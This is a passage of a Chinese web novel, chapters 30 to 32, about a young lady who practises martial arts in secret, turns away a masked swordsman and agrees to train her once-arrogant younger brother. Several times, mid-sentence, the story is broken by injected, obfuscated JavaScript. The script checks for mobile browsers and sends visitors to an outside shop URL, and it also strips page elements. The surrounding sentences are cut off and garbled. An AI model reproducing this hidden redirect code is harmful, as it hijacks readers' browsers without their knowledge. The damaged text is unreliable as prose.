书童没察觉到少爷的紧绷情绪,只一边护着对方从假山里出来,把手里捧着的蓑衣,往蜜林身上套,一边道。 “大小姐让我给你煮点姜汤,回去就喝下了,早些歇息。” 这话听到耳里,蜜林神情一松,随即几乎是半信半疑地瞅着书童。 “她真的说了这些?” 书童有些不解,但还是老老实实回答道。 “是啊,我看大小姐应是专程出来寻少爷的。” 蜜林哼了一声:“她寻我?怕是猫哭耗子…” 但到底,这后半句话没有像往常那样说出来。 他往日里对女子的那种尖酸刻薄言辞,在听了蜜珠那番“拿女子逞威风的懦夫”的话后,一时间变得滞涩了,不再能这么轻而易举说出来。 当一个人站在你面前,几乎是指着脸对你说,你做的是错的,而什么样是对的时,语气如此犀利,也不由得令人忍不住去回忆那些话里的真实意义。 ——难道我曾经的所作所为,真的是懦夫之举,如此不堪吗? 人有了思考之后,再做一些过去常做的事时,就有了分辨力,不再那么理所当然。 “尚通,你说,我平日里为人怎么样?” 穿上蓑衣后,蜜林依然捏着灯笼,不愿意将它交给书童。 叫尚通的书童听了少爷的问话,心里暗暗纳闷,但脸上却堆出笑容道。 “少爷自然是聪慧的,天生就比我们要厉害。” 往常听了这些马屁话,会露出自得之色的蜜林,这次却气急败坏道。 “说真话!” 尚通见自家少爷发了火,有些丈二和尚摸不着头脑。 “少爷…这…” 他生怕又说错什么,一时间只感觉自己笨嘴拙舌,不知道该说些什么。 蜜林一见他这副支支吾吾的样子,心中愈发确定,平日里书童对自己说的那些好话,也不过是屈服于他作为蜜府少爷的身份,才说出的违心之言罢了。 “别说了!” 蜜林将灯笼挑起,拿在手里往雨中走去,然而走了几步,却还是下意识将灯笼往蓑衣下收。 蜜府的所有人对他,几乎都扯着一张不真实的笑脸,好像他看不出来他们背地里对自己的成见与防备一般。 他能感觉出所有人的虚假,却无法戳穿这些假象。于是那些一次次的挑衅与闯祸,都是一种无声的抗议。期盼能通过这种方式,逼出旁人真实的情绪。 然而所有人中,只有嫡姐是真实的。 在今夜,他听到了那样一番醍醐灌顶的话,效果石破天惊。 原来他那样上蹿下跳,在旁人眼中无异于台柱子上唱戏的旦角。 今夜注定了是个不眠之夜。 小少爷蜜林迎来了人生中第一次蜕变。 30.第 30 章 许是因着昨夜下过了大雨,第二日天空放晴后,显得天朗气清,连云朵都比平日洁白许多,瞧着就令人心情明媚。 蜜珠没忘了习武的日常,和庶妹在小院子里气喘吁吁的练习剑术。 就那几个动作,但就是做起来软绵绵的,没有阿晴教习的那个力道。 蜜云练了一阵后,就捂着手腕对蜜珠诉苦道。 “嫡姐,那个挑的动作,我总是做不好。” 只不过习武几日,蜜云就几乎没了对飞檐走壁的向往,觉得那好遥远,和闺阁女子习惯的绣花日常大相径庭。 若是她一个人习武,肯定早就打消念头了。 但因着嫡姐勤于练武,这是她们姐妹俩难得在一块儿的时光,蜜云就也咬牙坚持。 她每日回去身上都疲惫到像是灌了铅一般,刘小娘看在眼里,竟然也猜到了她是在和蜜珠习武。 本来蜜云以为小娘会反对自己碰这些,却没料到刘小娘只是对她道。 “你身子弱,跟着你嫡姐习武折腾一番也好。”竟然没有拘着她不让去。 惊讶过后,蜜云就明白了其中的深意。 小娘还是没打消主意——想让她和嫡姐亲近了之后,将来能依仗嫡姐和南宁王府的关系,为她找一门好亲事。 只是小娘晓得她对特意接近嫡姐,有多么排斥,就不再直接和她说了。 蜜珠回眸,看到蜜云的动作,上前一步,矫正她手里挑剑的姿势。 “有些红肿了,你去歇着吧。” 然而蜜云却不愿意:“我想陪着嫡姐。” 姐妹俩又一道训练了一会儿,到了晌午天热的时候,蜜云回去了,只剩下蜜珠寻了个树荫的地方,继续练剑术。 她这会儿有点想念阿晴。 上次阿晴给她的心法,她至今还没入门。 人体的经脉和穴位,她还没有特别熟悉,这几日都是在摸索中,就特别希望有个师傅来教自己。 “你若不嫌弃,我来教你。” 蜜珠听到了一道声音,是从树上传来。 她心中隐约有些感触,抬起脑袋一看,就见树上站着熟悉的木头面具男,正好整以暇望着自己。 这男子看不清脸,但身形修长,每每出场,都是穿着一身黑色劲衣,瞧着就像是天天在梁上飞来飞去的样子。 也不知道对方来了多久,是不是一直站在树上看自己。 蜜珠将剑收好,无奈:“你怎么又来了。” 如今在蜜府还好,他们府里的家丁功夫都不高,丫鬟婆子们也少,而且没有她允许,这段日子不会有人随意进她的院子,也就不会让人发现木头面具男出现。 但若是到了南宁王府,将来对方还是这样神出鬼没不请自来,就会给自己造成困扰,万一被旁人发现,误会她与对方有什么,就是无妄之灾了。 蜜珠觉得自己有必要和对方说清楚。 “你不欢迎见到我?”树上的华宣挑眉,面容都掩在了面具背后。 “我当然不欢迎。” 见他像是听不懂人话的样子,蜜珠趁着院子里没有旁人,索性把话掰开了说明白。 “你是男子,我是女子,我再过一些日子就要成亲,你这样来会影响我的。旁人见到了,误会我和外男有染,到时候你是可以靠着轻功一跃而起,直接走人了,面具也盖在脸上没人认得你,不会被找麻烦。但我呢?” “旁人一张嘴说什么,就能毁女子的清誉。何况我将来的夫君情况特殊,别人更会误会,以为我是耐不住寂寞,才会红杏出墙。” “我敬你是江湖大侠,但也你不能欺我是闺阁弱女子,几次三番来闯我院子。” 换成上辈子,蜜珠是万万说不出这种清醒又直白之语的。 但若是将自己惧怕的事情,清清白白说出来,仿佛就戳穿了内心的恐惧,继而看清许多桎梏,转而变得勇敢起来。 华宣怔怔看着蜜珠,停顿了片刻,才开口道。 “你不会不甘心?” 蜜珠:“不甘心什么?” 华宣透过斑驳的光影,看着站在树下显得腰身盈盈一握的女子,轻笑道。 “南宁王府瞧着并不是表面上那般光鲜,所谓的世子,也是个空壳子罢了。你嫁过去,背地里旁人讥笑你更多一些。女子都盼着能嫁给如意郎君,有这样一个夫君,你这般容貌,难道不会不甘?” 戴上面具后,对蜜珠的所有疑惑,似乎都能因为这层身份的阻挡,坦然地问出口,去寻求一个答案。 “…你打听了我?”蜜珠诧异。 她以为这种江湖人士,平日里来无影去无踪的,合盖不会对京城里的八卦传闻在意才对。然而对方竟然都把她的亲事,乃至南宁王府的处境,都给打听了个一清二楚。 华宣隐在面具后的唇,勾起了弧度。 “满京城何人不晓得,蜜府大小姐天香国色,是倾国倾城的姑娘。奈何鲜花没能有好归宿,竟然配给了南宁世子,叫人惋惜不已。此事还需打听?” 蜜珠瞪大了杏眼,瞧着像是一只受惊了的猫猫,怪可爱的。 华宣压下了心口的那一抹悸动,只强作平静道。 “你怎么不回答?江湖中人最爱路见不平拔刀相助,兴许我能助你脱离苦海,不嫁给那世子呢。” 蜜珠听到这里,这才回过神来,没好气道。 “多谢大侠的好意,不过不必了。子非鱼,焉知鱼之乐。我对南宁世子的观感,可和你们常人不同。南宁王府在我看来,是一门好亲事,算不得什么苦海。” 毕竟嫁过去之后,因着世子痴傻,和寻常男子不一样,兴许她都不用圆房生子了。这样一免了生育之苦,二又不需要参与到后宅的争斗之间,其实也乐得图个清闲。 若是前世,蜜珠是生不出这样念头的。奈何再世为人,有了和曲立封的这段记忆,让她对男子都生出了几分抗拒。 南宁王府不论如何也是一门显贵,不至于容不下她。就是没有子嗣,想来长公主他们会比自己更加着急,兴许也会过继一个孩子过来让她抚养? 总之,这些问题蜜珠都想过。正因为如此,她对这桩婚事变得愈发满意了。 只是心里话,自然是不方便讲给外人听的。 是以,蜜珠对着这莫名其妙几次三番来看自己的木头面具道。 “还请大侠高抬贵手,往后不要来找我了。你不见我,不打扰我,那真是救我一命。” 她甚至拱手对着华宣轻轻拜了拜,眼神清冽,神情还那么真诚,偏偏长成了牡丹花开的倾城之色,一举一动就显得比树下花丛还要再明媚生动上几分。 明明华宣知道对方是在让自己走远一些,但心中就是忍不住动容,忍不住觉得这样的蜜珠格外可爱。 真是…奇怪,他有生以来头一次觉得一个姑娘可爱。 而且这姑娘还是他名正言顺的未婚妻,将来是要八抬大轿明媒正娶接进府里的妻子。 想到这一点,此时此刻被拒绝,似乎都成了其中浪漫的一环。 华宣哑然失笑。 他的沉默看在蜜珠眼中,就是一种不悦了。 蜜珠有些无奈:“大侠,怎么,你非要看我被浸猪笼,才开心吗?” 本来世人对女子就苛刻,同样的错误,犯在女子身上更加为千夫所指。 王府的规矩定是比平头百姓看到的都要多。 华宣见自己的沉默,让蜜珠如此,不由开口解释。 “不会的。”他绝不会让蜜珠被人误会,看对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13439598|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方浸猪笼。 是这姑娘方才说的话,令他一时之间不知道如何回答了。怎有女子如此淡然地说起这些事情,一点避讳都没有。 他顿了顿,再开口:“我对你并无恶意,也了解你作为女子的难处。你放心,待你成亲之后,我不会再出现。” 有了这个保证,不论如何,蜜珠心里都舒坦了些许,不再那么沉重。 毕竟木头面具男没有和自己说谎的必要,人家武功摆在这儿,真要对自己不利,无需多费这个口舌。 “有劳大侠啦。”蜜珠放松了很多,笑容都比方才要真实灿烂。 华宣看在眼里,又道:“我这几次来,只是想完成你我之间的交易。我做事从不半途而废,既答应了你教你武艺,自然是要把此事做到底。” 蜜珠歪了歪脑袋,清凌凌的杏眼乌溜溜地看着他。 这模样又让他联想到院子里晒太阳的猫咪,瞧着娇娇的,却又爱干净。 华宣口中说出的话,不由缓了两分。 “阿晴不能按时赶回来,这几日由我代替她,教你一些防身之术。” 蜜珠犹豫。 华宣却道:“我教你一些暗器之术,速成。便于你出门在外防身。” 暗器? 蜜珠一双好看的杏眼亮了,整张脸瞧着顾盼生辉,姿容极其明丽。 华宣忍住自己想多看一眼的冲动,别开了视线,让自己的声音显得更加平淡。 “你习武太晚了,不吃大苦头,是练不成什么的。至多强身健体,身手略轻盈一些。阿晴是自幼就开始习武,她的心法不一定适用于你。” “暗器虽然阴损,但若只是用来防身,效果反胜过习武,有出其不意之效,对你来说更适合。” 蜜珠越听木头面具说,心里就越是痒痒。 暗器暗器!她喜欢,听着就是那种平时藏着不被人知道,但关键时刻能派上用场的。 此时若站在这儿的不是面具男子,而是阿晴的话,依蜜珠的性子,怕是已经扑过去抱着阿晴手臂撒娇,让对方赶紧教自己了。 “你不答,我便当你答应了。我明日这个时候再来。” 华宣低沉着声音开口。 蜜珠迟疑了片刻,为着那让她心里痒痒的暗器,还是点了头。 人家既然好心要教她暗器之道,好完成当初达成的交易,那她就不推拒了。 见她这次终于同意,且那双明眸中,满是反复斟酌之后才显露的欣喜之色,华宣那双黑眸也跟着现出了笑意。 ——明明是个大家闺秀,怎么那么喜欢江湖上的那些东西。 若是将来能带她去行走江湖,不知以这姑娘的性子,会不会成为仗义疏财的女侠? 想到了那样的画面,华宣莞尔。 “那我走了。”他再开口时,表露得无比平静。 “好。”蜜珠不假思索回答。 华宣顿了顿,见蜜珠实在是没有半点舍不得自己,或者挽留之意,他无奈笑了笑。 随即纵身一跃,身体消失在了树影间,宛若一只张开了翅膀的黑色大鸟,几下就没了身影。 蜜珠几乎是眼睁睁看着华宣当面表演大变活人,靠着出神入化的轻功离开。 她心里的羡慕都快溢出来,变成馋虫了。 什么武林高手江湖大侠的,要是自己也能这么厉害,那该多好啊。来无影去无踪,这简直是世上最大的自由。 “小姐,你在看什么啊?” 小柳儿捧着切好的瓜果进院子,一来就瞧见蜜珠正看着树上发呆。 “哦,有只鸟儿。”蜜珠收回目光,轻声回答,心中有些庆幸,那木头面具怪会选时辰的,刚好是在院子里没其他人的时候来,走的时候,时机也是那么恰好。 31.第 31 章 蜜珠进去吃了几片切好的瓜果,身上依然不断流薄汗,感觉黏糊糊的,怪难受的。 蓄月忙去打了水,放在屏风后头给蜜珠去擦身子。 “小姐,习武好吃苦啊,你是怎么坚持下来的?”小柳儿扒拉在屏风旁边,很好奇地问蜜珠。 她们家小姐,自幼就是个内敛的性子,就是旁人凑热闹一块儿说笑,在不会凑过去一起的。所以在京城也就只有一个幼时的手帕交联系着,旁人都见不到小姐的。 这般深居简出的人,怎么会忽然喜欢起习武呢。 那不是糙老爷们干的事儿吗? 习武之后,身上汗涔涔的,多难受啊。 小姐这般容貌,合该穿锦衣华服,用最好看的首饰和胭脂,漂漂亮亮的过日子,怎么能去吃那些个苦呢。 小柳儿一直想不通这一点,但却不能去做蜜珠的主,就只能在旁边心疼地叨叨。 蜜珠简单擦洗后,换了身干净的衣裳,笑道。 “强身健体总是好的,趁着如今有机会,去吃点苦,也不是什么坏事啊。” 顿了顿,蜜珠又道。 “柳儿,这世道有太多的道理,都是旁人告诉我们什么允许做,什么又不允许做。但若是有一日,我不按照旁人的道理去走呢?你觉得会怎么样?” 小柳儿的脑袋瓜有些转不动了,一时间没听懂自家小姐在说什么,只能眨巴着眼睛,迟疑道。 “会被人笑话和说?” 蜜珠点头:“自然,这是去做那些世俗礼仪之外的事情,可能要付出的代价。不过我这几日总是在琢磨,兴许是因为我们太弱,才会需要去遵守别人的道理和规矩。倘若我们足够强,是不是就能成为特例,甚至反过来掌控局面,制定新的规矩?” 小柳儿不敢再接这个话了,她发觉小姐这些日子身上出现的深沉劲儿,又冒了出来,瞧着陌生到像变了个人。 好似小姐的言语带着什么危险的力量,再多说下去,就会捅破天,撑破他们住着的房间,带来什么未知的影响和变化。 “小姐…你说的我怎么听不懂…”她嗫嚅着开口,声音很小,盯着蜜珠时,也有些显而易见的慌乱。 见自己的话,好像吓到了小柳儿,蜜珠轻叹一口气,不再提方才那个话茬。 命运说起来真是玄妙无常,若是前世的小柳儿,已经陪自己吃过苦受过累,就能听懂这番话,并且也发出同样的感慨,会知道弱小而受制于人,命运不在自己手里是怎样的痛苦。 但眼前这个依然天真单纯,尚未经历过人生苦难的小柳儿,因着未曾触碰过人间风霜,是以对自己这些话似懂非懂。 可若是能选择的话,当然是做一个单纯的,不用明白人间苦难的人更好,蜜珠忍不住这么想。 但她不要,上辈子用血泪换来的经历与人生感慨,已经成了她最大的财富。 傍晚的时候,蜜珠听到一个消息,爹帮她去寻的教养嬷嬷,大约就在这几日过来。 她呼了口气,眉眼有些无奈。 “小姐在为了什么发愁呀?”小柳儿看出蜜珠的不开心。 “没什么。”蜜珠只冲小柳儿笑了笑,没说心里的颓丧。 女子学规矩,学女红全是理所应当,甚至能让爹也跟着大力支持,专门请来教养嬷嬷,说出去都理直气壮。 可习武就成了见不得人,得让她连同娘一起管着院子避开下人、瞒着爹才能去做的事。 但若换成男子习武,虽说没有学文那么受鼓励,但因着能强身健体,也不至于换来旁人的白眼。 男女一换,做事的阻力就完全相反。 这也是蜜珠真正感慨的地方。 * 晚膳之后,蜜珠在后院遇到了刚从外头回来的蜜林。 难得在这个点看到对方。 以前这个弟弟,不是逃课,就是从学堂出来了四处溜达,弄到天黑了才不情不愿地回来。 然而今日竟然回来如此准时,有些破天荒。 看到蜜珠带着身后的丫鬟,从花园经过时,蜜林硬着头皮走了过去。 “…” 站到她跟前后,嘴唇动了动,愣是没说出什么话来。 平日里他捣蛋惯了,就是对着嫡母王氏,也没有个章法,像个混世魔王,只在蜜老爷跟前稍微买点儿乖。 是以见到他过来,小柳儿已经挡在了蜜珠身前,不让蜜林靠近。 “小少爷,你这是干什么?” 蜜林昂起脑袋,像是一只忽然神气活现起来的大公鸡。 “闪开,我和我嫡姐说话,哪有你的份儿。” 那种作为上位者,摆着蜜府少爷的架子,又来了。 这真是一天不打,上房揭瓦。 就连性子沉稳的蓄月,站在蜜珠身后时,都在默默摇头。 蜜珠没说话,只在小柳儿身后淡淡瞥了蜜林一眼。 昨晚那句——只在女子面前逞威风的话,冷不丁重新闪过脑海。 蜜林这只方才还神气活现的大公鸡,就跟被人一下掐住了脖子一般,打鸣声都发不出来了,脸上神情都是一顿。 “…嫡姐…”短暂的卡顿之后,蜜林心不甘情不愿地挤出来了两个字。 但即使这样,也足够其他在一旁看着的丫鬟们惊讶了。 小少爷自从来了蜜府以后,整整一年都那副刺头的样子,从来不好好和人说话。用膳也自个儿躲在房里吃,只要老爷不在府里,小少爷就跟六亲不认一样,对所有人都颐指气使,没个好声气。 说句公道话,他们伺候小少爷也算是尽心尽力的,府里的那些其他主子们,对小少爷当然也是关怀的,可即使这样,小少爷依然跟喂不熟的白眼狼一般,见谁都那副眼高于顶的模样。 反正就没听他正儿八经喊过蜜珠一声“嫡姐”。 也是,对嫡母王氏都不敬了,何况对蜜珠蜜云这样的平辈呢。 况且小少爷来到府里之后,应当也晓得老爷在此之前想要男娃几乎想疯了,他明白自己的重要性,当然就已先入为主的对两个姐姐低看几分。 女流之辈岂能和他这种,被爹千辛万苦求回来,将来继承蜜府的人相提并论? 哪怕是两个姐姐,出了嫁之后,日后也是要仰仗他这个男丁,去当娘家靠山的。 这些道理没人告诉他,但却是整个世道都在运转的一环,蜜林几乎是无师自通。 如今蜜林这一声嫡姐喊出来,哪怕声音有些小,细弱蚊蝇,还是震惊了在场的所有人。 小柳儿瞪大了眼睛,蜜林身后的书童尚通也跟着竖起了脑袋,盯着自家少爷的后脑勺,有点怀疑自己是在做梦,甚至还揉了揉眼睛。 比起小柳儿蓄月这些人,尚通的震惊更大。 他是贴身跟在小少爷身边的人,更加了解蜜林少爷的性子。 蜜林少爷那么自大狂妄的人,今日竟然当着这么多人的面,喊大小姐嫡姐。 他甚至担忧着,蜜林少爷是不是心里憋着什么坏,才忽然一改性情? 相比众人的忐忑与震惊,蜜珠的反应最最镇定。 “何事?” 她从小柳儿身后走出。 蜜林注意到四周的下人反应,心中本来就是有些不忿与忐忑的,但望着蜜珠看来的眼神,那些复杂情绪就又全都收了回去。 “我也想习武。” 他冷不丁冒出来这样一句话。 还不待人回答,就又道。 “我知道你带着蜜云,在院子里偷偷习武,下人瞒的好,但我背地里听到了!” 说起这话的蜜林,语气恶狠狠的,仿佛抓住了嫡姐的什么把柄一般,就连气势都跟着变足了一些。 蜜珠不为所动,只微微弯唇看着他,明明是在浅笑,模样也是花开牡丹一般的美丽,落在蜜林眼中,却令他忍不住想起了自己被打二十大板时,嫡姐也是这幅笑容,瞧着娇滴滴,手段却一点也不温柔。 真是… 他打了个寒战,赶在蜜珠开口说话之前,声调一扬,外强中干道。 “我没和爹告密!我还能为了你保密!只要你愿意让我也一起习武。” 其实这事儿他还是从门房那知道的,先前嫡姐收留了一个女子住府里,那女子似乎是个江湖中人,武艺高强,被嫡姐聘为女教习了。 这几日那女教习离开府里,不在这儿了。 联想起这段日子府里被王氏整顿过,嫡姐的院子又总是关着门,还不让那些丫鬟婆子们守在里头伺候,他就猜嫡姐肯定有什么事情瞒着他们。 果不其然,让他打听出来了! 今日还亲眼看到蜜云也从嫡姐的院子里出来,要不是偷偷习武了,蜜云怎么会瞧着这么疲惫,还出了一身汗? 他心里也清楚,这年头的大家闺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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明明生怕被拒绝,却又无法好声好气说话。仿佛姿态稍微低一些,就会怎么了似的。 小柳儿已经先跳起来:“小少爷,你怎么能这么和小姐说话?” 蜜珠拉了拉她手臂,安抚了一下,才对蜜林道。 “带你习武也不是不可以。但我有个条件。” 蜜林几乎是不假思索:“好!” 蜜珠:“…” 在见过对方藏在假山里偷偷哭之后,再看蜜林,完全就是个乳臭未干的小孩子。 与其说,先前的蜜林眼高于顶狂妄又嚣张,不如说那是一种无人好好教养讲道理后,放任自流长出来的样子。 “既如此,明日开始,用完晚膳你来找我。” 想了一下,蜜珠还是确定了一个可以让蜜林一起习武的时辰。 白日对方要去学堂,她也要和蜜云一起训练,过两日还有教养嬷嬷来,白日就愈发没时间了。 得了蜜珠的允许,蜜林几乎是雀跃到想要蹦跶起来,却又意识到自己被这么多人看着,于是脚尖才点了一下就板起两只手在身后,一副老夫子学究的做派。 “说话算话。” “小姐?你怎么会答应小少爷,要带他习武啊?” 小柳儿等人走了后,问起蜜珠,很是不解。 小少爷就是个捣蛋脾气,就怕他坏了小姐的事儿,反过来把这府里弄到天翻地覆。 蜜珠想到了面具男子,轻轻笑了。 “这又不是什么了不得的事。” 她能带蜜云一起习武,多加上一个蜜林,也没什么大不了的。 “可是…小少爷他要是告诉老爷了怎么办?” 小柳儿还是替自家小姐担心。 往常蜜林少爷就是那副用鼻孔看人的架势,从来不把嫡姐嫡母放在眼里,毫无半点敬重,如今忽然改了性情主动喊小姐,怎么看都是不怀好意。 “不用担忧。”蜜珠笑了。 “想办法让他没法去告状,这就行了。” * 又是一夜过去。 蜜珠今日显得有些魂不守舍,她在等面具男子来。 然而昨日才答应了她,要教她暗器之道的人,今日却迟迟未曾出现。 直到快用晚膳的时候,她才听到一声响。 一枚金叶子落在了她脚边。 32.第 32 章 蜜珠俯身捡起,抬眸看四周看,下意识就去看院子里的那棵庭树。 那两次出现,面具男子都是在树上,以至于蜜珠总有一种对方会在这树上扎根的错觉。 华宣看着走出厢房,绕着大树左顾右盼的少女,沉声道。 “我在这。” 蜜珠顺着声音回头,猛不丁瞧见了站在房顶上的身影,她瞪大了杏眼。 “你怎么站在那里呀!” 她一个倒仰,人都差点没站稳。 华宣双臂环抱,淡淡道。 “放心,我不会摔下来。” 小姑娘应是觉得他站的太高了,怕他站不稳。 蜜珠哽了一下:“…” “你站那么高,旁人会看到。” 她哪里是担心对方会摔下来。 既然是武艺高强的江湖大侠,飞檐走壁什么的不是很寻常么,哪里需要她去操心了。 华宣:“…” 竟然是他多虑了。 只看得到未来世子妃一双水汪汪的杏眼,下意识就以为那里面装着的是关怀。 二人一时都不说话了。 蜜珠听着外头的动静,生怕有人过来,加快语速道。 “晚膳之前你都有空吗?” “我想和我弟弟一起跟你习武。你若能指点一番…” 本来蜜珠以为对方应该会犹豫片刻的,没想到华宣话都没听完,就先应下了。 “有空。” 蜜珠呐呐闭上了唇,不再说话。 她似乎觉得华宣开口答应的太快了,以至于她有种,无论自己提出什么要求,对方都会一口应下的感觉。 为了排遣这种感受,她想了想,又道。 “你介意走大门吗?” 华宣凝眸看她,面具后的眉梢挑了挑。 “何意?” 蜜珠就挂上了笑容,温声道。 “我已经有女教习了,但是府里还缺一个男教习。你若不介意,就以我聘请的男教习身份,从大门那儿进来。” “傍晚习武,我们都去我弟弟的院子。” 华宣甚至不用多想,就弄明白了这姑娘为何要这么做。 还是在防着与外男单独相处呢。 所以宁愿绕一个大弯儿,把自己推到蜜府少爷那儿挂个男教习的身份,也不让他这般偷偷摸摸的单独出现。 想到自己在蜜珠心里,竟然是个需要被提防的人,这种感觉怎么都有些不舒服。 偏偏人家姑娘的提议合情合理,先前也都说过自己的忧虑了,华宣当然没有理由不同意。 “听姑娘的。”华宣声音听不出喜怒。 蜜珠眨眨眼,莫名感觉对方就是有些不开心了,虽然那人脸上留着个面具,把除了眼睛以外的地方,都挡得严严实实,但情绪这种东西,往往不可捉摸,却能被人体察到。 他为何不开心? 蜜珠忍不住问:“还不知道怎么称呼公子?” 华宣有些意外,对自己避之不及的未婚妻,竟然会主动询问他叫什么。 “在下无名。” 真名是不能说的,但假名他也不想对蜜珠用。 于是硬邦邦的一句“无名”送过来,蜜珠抿了抿唇,无比确定这家伙就是不高兴了。 “你们江湖中人,怎会行走在外连个名字都没有。你只是不想对我说罢了。” 蜜珠瞧着这人戴紧面具的样子,忍不住问。 “那你们还会成亲生子吗?” 这叫什么话,华宣瞅她一眼,将这姑娘笑靥如花的模样,看在眼里,心头那股闷气,莫名消散了一些。 “自然会。”难道在对方心里,江湖中人就是另外一个物种,都没有家的? 他好奇这姑娘的小脑袋瓜里,都藏着些什么。 蜜珠又好奇问他:“那你成亲没?” 华宣一窒:“尚未。” 蜜珠:“你总是戴着面具,将来成亲了对你妻子也这般吗?” 说起来怪哉,从第一次见对方开始,面具男子就这副模样。 为何他们要戴着面具,不让人看到长什么样呢。明明阿晴就不这样。 华宣:“不会。” “你想看我拿掉面具?”他开口反问。 蜜珠连忙摆手:“不。” “只是在想,你为何要戴这个。” 以前也有许多人好奇华宣为何要戴着面具,帮派里的人猜透了也不知道原因。 华宣从来没有理会过别人的询问,但面对蜜珠,他平生头一次回答。 “我得罪了一些仇家。不方便被人看到真容。” “哦。”蜜珠一时间不知道该说什么了。 “你也会有打不过的仇家吗?”想了一会儿,她才开口。 华宣见着少女眼眸亮晶晶,梨涡也漾起的清丽模样,不知想到了什么,勾唇笑了。 “是啊。” “人外有人天外有天,我力所不逮,实在是无可奈何。” 这番话半真半假,听着像是在开玩笑,但内里却好似藏着真实的无奈情感。 蜜珠觉得自己应该安慰一下无名男子。 “无名,你还年轻,以后肯定会更厉害的。” “况且,我也听过老了的江湖人士会金盆洗手,若是实在招惹了厉害仇家,就放弃混江湖,做一门营生,好好过日子罢。这样将来你成亲了,你娘子也放心。” “天天打打杀杀的,还有仇家,姑娘家的都会怕。” 蜜珠讲的时候,只是随口一提,毕竟无名面具男瞧着还是比较和善的,说起话来有商有量,并不是那种动辄暴怒的人,而且也没有仗着自己会功夫就欺负人。 总而言之,这是一个好人! “你会怕吗?”华宣深深凝视着她,像是要把蜜珠完全看穿。 蜜珠认真想了会儿:“我希望我能说不怕,也能跟男子汉一般胆子大一点…但若真的想想,我还是会怕的。过习惯安稳日子的人,是受不了动荡和波折的,何况还是那种白刀子红刀子出的日子呢。” “还有,女子其实最怕的不是死,而是除了死以外的东西,譬如丢失名节,被人欺负,被旁人用看笑话的眼神当做茶余饭后的闲谈。兴许,你这样的性子,得娶一个女侠,和你一起闯荡江湖,才不怕那些旁人的目光。” 华宣还是头一次见蜜珠一口气说出那么多话。 关键是,他过去的二十多年里,鲜少这样认真听一个姑娘讲话。 还听得如此津津有味,仿佛永远不会腻。 “那么,你这样的姑娘会去当女侠么。” 知道此刻并不适合说这样的话,华宣还是将这个问题说出了口。 蜜珠一怔,下意识想要回答,但联想到方才才说无名适合找女侠过日子,自己若是接了这个话茬,岂不是… “你别想啦。就是我想当女侠,那也和你无关。我将来是有夫之妇。” 说这话时,蜜珠绷紧了一张小脸,粉面桃腮,明明是很认真讲话,却令人瞧着觉得娇憨到可爱。 华宣哑然失笑,这辈子这样被一个姑娘防备着,这种经历生平罕见。 “是在下冒昧了,不该肖想世上有第二个姑娘这样的女侠。” 两人的对话被打断,也让蜜珠没来得及做出回应。 蓄月捧着两套衣服走进了小院子。 “小姐,教养嬷嬷托人送来了这两件衣服,让小姐明日开始穿上它们再见她。” 蜜珠用余光看向房顶,发现在那儿站着的身影,已经消失不见。 她轻吁一口气。 “好的,先放进屋里。” “本来老爷夫人去请的教养嬷嬷,是能来咱们府上的,但她这段日子走不开,说咱们京城的姑娘们扎堆的让她去教规矩,所以只能让小姐明日坐马车到她府上去。” 蓄月又说了这样一句话。 蜜珠怔了怔。 计划被打破啦。 “说了是什么时辰去她府上吗?” 她还想着上午专门和蜜云一起习武呢。 虽说阿晴这些日子还不在京城,没法手把手教她们,但当学生的自己也得上心呀。 习武这个事儿,对蜜珠可不是只放在嘴上说说的事情。 她自然知道,得下些苦功夫,才能真正学有所成,心里就没有存着懈怠的心思。 蓄月面露难色:“辰时。” 她跟在蜜珠身边这段日子,当然知道自家小姐平日里都做些什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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气氛仿佛忽然安静,夕阳有些刺眼,最后一缕光芒顺着窗口缝隙,落到了蜜珠坐着的梳妆桌前。 她的双眸对上了窗口那人的眼睛,面具挡着脸,根本看不清这人长什么样子。 但蜜珠莫名就觉得,无名一定长着一张狐狸似的脸——俊美招摇,会让靠近他的女子一不提防就被夺走注意力。 这是一种感觉——很玄乎的,说不出所以然的感觉。 无名有些危险,身上存着神秘,又存着点倜傥的放逐感,颇有一种只要你今夜点头,对方就能为你披荆斩棘,只为哄美人一笑的味道。 但幸好,她是提防着的。她不在那种会被吸引的行列。 前世与曲立封的经历,教会了蜜珠一个道理。 越是俊美的男子,说的话越是要打折扣。而越是能在嘴上说出真心,花言巧语的男子,他们的真心也就越是简陋,甚至虚假、没有。 能用言语达成目的了,男子自然就不稀罕再用珍贵的行动去表达。 责任、担当,以及其他作为男子应该有的完美品格,是能在需要的时候,在面上装出来的,因为这样能取信于人。 但当他们真的得到了想要的人和东西后,能不能践行当初言语描绘的承诺,全靠良心。 很不巧,蜜珠看过一个看似清俊绝伦的男子,所展露了温柔深情之后,骤然扯掉面具,露出狰狞面孔的模样。 况且,那人还是自己相识已久的竹马。 这让蜜珠哪怕在面对其他男子的时候,生出表面上的信任,相信也有良善的人,但却在触及情爱方面,毫无任何旖旎之想。 “无名教习,我只需要你完成交易,教授我暗器之道,成为我弟弟的教习。” “你今天话多了。” 蜜珠起身走到窗边,伸出手,将窗棂往下一拉,合上。 挡住了那张木质面具,也好像这人方才的话,所带来的一些类似冒犯的冲击,也被一同阻挡在了脑子之外,就跟没听过一般。 